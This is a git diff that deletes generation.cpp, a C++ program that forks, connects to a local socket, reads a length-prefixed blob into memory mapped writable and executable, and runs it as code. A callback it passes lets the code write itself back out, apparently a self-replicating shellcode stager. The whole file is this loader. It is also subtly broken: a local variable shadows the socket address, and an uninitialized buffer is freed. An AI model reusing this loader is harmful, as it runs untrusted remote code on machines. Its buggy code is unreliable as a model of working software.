diff --git a/generation.cpp b/generation.cpp
deleted file mode 100644
index 398c5e8..0000000
--- a/generation.cpp
+++ /dev/null
@@ -1,185 +0,0 @@
-/*
-@file generation.cpp
-*/
-
-#include <cstdlib>
-#include <cstring>
-#include <iostream>
-#include <stdexcept>
-
-#include <arpa/inet.h>
-#include <errno.h>
-#include <malloc.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <unistd.h>
-
-#define MAX_LEN 1024
-#define PORT 5000
-
-using namespace std;
-
-class Generation
-{
-    struct sockaddr_in server;
-    int sock;
-    uint8_t *buffer;
-
-   public:
-    Generation(void);
-    ~Generation(void);
-    int gen(void);
-    int reproduce(void *pic_address, int pic_size);
-};
-
-string b2a_hex(uint8_t *buffer, int len)
-{
-    char const hex_char[16] = {'0', '1', '2', '3', '4', '5', '6', '7',
-                               '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};
-
-    string ascii;
-    for (int iter = 0; iter < len; iter++)
-    {
-        const char character = buffer[iter];
-        ascii.append("\\x");
-        ascii.append(&hex_char[(character & 0xF0) >> 4], 1);
-        ascii.append(&hex_char[character & 0xF], 1);
-    }
-
-    return ascii;
-}
-
-Generation::Generation(void)
-{
-    cout << __func__ << "\n";
-
-    struct sockaddr_in server;
-    server.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
-    server.sin_family = AF_INET;
-    server.sin_port = htons(PORT);
-    sock = socket(AF_INET, SOCK_STREAM, 0);
-}
-
-Generation::~Generation(void)
-{
-    cout << __func__ << "\n";
-
-    if (sock)
-    {
-        close(sock);
-    }
-
-    if (buffer)
-    {
-        free(buffer);
-    }
-}
-
-int Generation::reproduce(void *pic_address, int pic_size)
-{
-    cout << __func__ << "\n";
-
-    int status = 0;
-
-    printf("{\"address\":\"%p\",\"size\":\"%d\"}\n", pic_address, pic_size);
-
-    status = connect(sock, (struct sockaddr *)&server, sizeof(server));
-    status = write(sock, pic_address, pic_size);
-
-    status = 1;
-    return status;
-}
-
-int Generation::gen(void)
-{
-    cout << __func__ << "\n";
-
-    int status = 0;
-
-    while (1)
-    {
-        status = connect(sock, (struct sockaddr *)&server, sizeof(server));
-        if (0 == status)
-        {
-            cout << "connected [" << status << "]\n";
-            break;
-        }
-    }
-
-    buffer = (uint8_t *)calloc(1, MAX_LEN);
-
-    while (1)
-    {
-        status = read(sock, buffer, MAX_LEN);
-        if (0 <= status)
-        {
-            cout << "recv len [" << status << "]\n";
-            break;
-        }
-    }
-
-    cout << "recv\n" << b2a_hex(buffer, sizeof(int)) << "\n";
-
-    int child_len = *(int *)buffer;
-
-    cout << "seed len [" << child_len << "]\n";
-
-    int prot = (PROT_READ | PROT_WRITE | PROT_EXEC);
-    int flags = (MAP_ANON | MAP_PRIVATE);
-    uint8_t *pic_buffer = (uint8_t *)mmap(NULL, child_len, prot, flags, -1, 0);
-
-    if (MAP_FAILED == pic_buffer)
-    {
-        throw runtime_error("mmap fail");
-    }
-
-    int iter = child_len;
-    while (1)
-    {
-        status = read(sock, buffer, MAX_LEN);
-
-        if (!status)
-        {
-            continue;
-        }
-
-        memcpy(&pic_buffer[iter - child_len], buffer, status);
-
-        if ((status + iter) >= child_len)
-        {
-            break;
-        }
-
-        iter -= status;
-    }
-    void (*pic_function)(void *, int, void *);
-    pic_function = reinterpret_cast<void (*)(void *, int, void *)>(pic_buffer);
-
-    cout << "child spawn\n";
-    pic_function(pic_buffer, child_len, (void *)&Generation::reproduce);
-
-    status = 1;
-    return status;
-}
-
-int main(int argc, const char **argv)
-{
-    cout << __func__ << "\n";
-
-    pid_t process_id;
-    int status = 0;
-
-    process_id = fork();
-
-    if (0 == process_id)
-    {
-        Generation *gen = new Generation();
-        status = gen->gen();
-        if (status)
-        {
-            return 1;
-        }
-    }
-
-    return 0;
-}